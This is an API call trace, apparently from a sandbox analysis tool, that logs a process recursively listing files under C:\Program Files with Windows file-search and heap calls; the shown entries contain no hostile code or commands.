	[0158.434] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb49bb00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1
	[0158.434] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40b148c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7b584100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x19600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1
	[0158.434] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x2f0d0100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1
	[0158.434] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2c1c100, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1
	[0158.435] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3f71b00, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x11f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnetwk.exe", cAlternateFileName="")) returned 1
	[0158.435] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xbefe7b00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnscfg.exe", cAlternateFileName="")) returned 1
	[0158.435] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x4b5c6e00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x79e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1
	[0158.435] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x45b35800, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1
	[0158.435] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x5fed3600, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1
	[0158.435] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7b584100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1
	[0158.435] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7b584100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 0
	[0158.435] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0158.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0158.435] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c7efb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1
	[0158.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4540068
	[0158.435] lstrlenW (lpString="C:\\Program Files\\Windows Multimedia Platform") returned 44
	[0158.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Multimedia Platform\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c7efb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0158.436] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c7efb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.436] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aa6fc0b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2aa6fc0b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2aa6fc0b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0158.436] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aa6fc0b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2aa6fc0b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2aa6fc0b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0
	[0158.436] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0158.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0158.436] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c8710, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1
	[0158.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4540068
	[0158.436] lstrlenW (lpString="C:\\Program Files\\Windows NT") returned 27
	[0158.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c8710, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0158.436] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c8710, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.436] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c944d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7120260d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1
	[0158.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0158.437] lstrlenW (lpString="C:\\Program Files\\Windows NT\\Accessories") returned 39
	[0158.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c944d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7120260d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0158.437] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c944d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7120260d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.437] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c9e08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0158.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0158.438] lstrlenW (lpString="C:\\Program Files\\Windows NT\\Accessories\\en-US") returned 45
	[0158.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c9e08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0158.438] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c9e08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.438] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de44bfc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x788c92ac, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x6da5ba00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1
	[0158.438] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de44bfc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x788c92ac, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x6da5ba00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 0
	[0158.438] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0158.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0158.438] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47cb7852, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbe78b154, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x47cb7852, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x448600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1
	[0158.438] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65418d00, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x65418d00, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x65418d00, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ca00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1
	[0158.439] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65418d00, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x65418d00, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x65418d00, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ca00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0
	[0158.439] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0158.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0158.439] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1
	[0158.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0158.439] lstrlenW (lpString="C:\\Program Files\\Windows NT\\TableTextService") returned 44
	[0158.439] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0158.439] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.439] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9258521, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0158.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0158.439] lstrlenW (lpString="C:\\Program Files\\Windows NT\\TableTextService\\en-US") returned 50
	[0158.440] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9258521, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0158.440] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9258521, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.440] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x78f57a4e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdfcde00, ftLastWriteTime.dwHighDateTime=0x1d29fad, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1
	[0158.440] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x78f57a4e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdfcde00, ftLastWriteTime.dwHighDateTime=0x1d29fad, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 0
	[0158.440] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0158.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0158.440] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b88afa, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b88afa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b88afa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1
	[0158.440] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x689bee27, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x689bee27, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x689bee27, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x376a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1
	[0158.440] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b62893, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b62893, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b62893, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x136c70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1
	[0158.440] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x687102e9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x687102e9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x687102e9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xef500, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1
